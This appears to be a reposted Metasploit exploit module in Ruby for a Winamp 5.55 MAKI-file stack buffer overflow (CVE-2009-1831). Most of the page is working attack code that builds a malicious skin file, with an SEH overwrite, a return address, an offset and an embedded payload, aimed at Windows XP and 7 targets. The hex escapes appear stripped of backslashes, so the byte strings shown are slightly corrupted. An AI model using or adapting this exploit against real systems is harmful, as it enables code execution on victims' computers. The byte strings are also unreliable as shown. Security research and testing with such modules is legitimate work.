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Winamp MAKI Buffer Overflow

Posted on 11 September 2012

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::FILEFORMAT
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
 super(update_info(info,
 'Name' => 'Winamp MAKI Buffer Overflow',
 'Description' => %q{
 This module exploits a stack based buffer overflow in Winamp 5.55. The flaw
 exists in the gen_ff.dll and occurs while parsing a specially crafted MAKI file,
 where memmove is used with in a insecure way with user controlled data.

 To exploit the vulnerability the attacker must convince the attacker to install the
 generated mcvcore.maki file in the "scripts" directory of the default "Bento" skin,
 or generate a new skin using the crafted mcvcore.maki file. The module has been
 tested successfully on Windows XP SP3 and Windows 7 SP1.
 },
 'License' => MSF_LICENSE,
 'Author' =>
 [
 'Monica Sojeong Hong', # Vulnerability Discovery
 'juan vazquez' # Metasploit module
 ],
 'References' =>
 [
 [ 'CVE', '2009-1831'],
 [ 'OSVDB', '54902'],
 [ 'BID', '35052'],
 [ 'EDB', '8783'],
 [ 'EDB', '8772'],
 [ 'EDB', '8770'],
 [ 'EDB', '8767'],
 [ 'URL', 'http://vrt-sourcefire.blogspot.com/2009/05/winamp-maki-parsing-vulnerability.html' ]
 ],
 'DefaultOptions' =>
 {
 'EXITFUNC' => 'process',
 },
 'Payload' =>
 {
 'Space' => 4000,
 'DisableNops' => true,
 'BadChars' => ""
 },
 'Platform' => 'win',
 'Targets' =>
 [
 # winamp.exe 5.5.5.2405
 [ 'Winamp 5.55 / Windows XP SP3 / Windows 7 SP1',
 {
 'Ret' => 0x12f02bc3, # ppr from in_mod.dll
 'Offset' => 16756
 }
 ]
 ],
 'Privileged' => false,
 'DisclosureDate' => 'May 20 2009',
 'DefaultTarget' => 0))

 deregister_options('FILENAME')
 end

 def file_format_filename
 'mcvcore.maki'
 end

 def exploit

 sploit = rand_text(target['Offset'])
 sploit << generate_seh_record(target.ret)
 sploit << payload.encoded
 length_sploit = [sploit.length].pack("v")

 header = "x46x47" # magic
 header << "x03x04" # version
 header << "x17x00x00x00"
 types = "x01x00x00x00" # count
 # class 1 => Object
 types << "x71x49x65x51x87x0Dx51x4Ax91xE3xA6xB5x32x35xF3xE7"
 # functions
 functions = "x37x00x00x00" # count
 #function 1
 functions << "x01x01" # class
 functions << "x00x00" # dummy
 functions << length_sploit # function name length
 functions << sploit # crafted function name

 maki = header
 maki << types
 maki << functions

 print_status("Creating '#{file_format_filename}' file ...")

 file_create(maki)

 end

end

 

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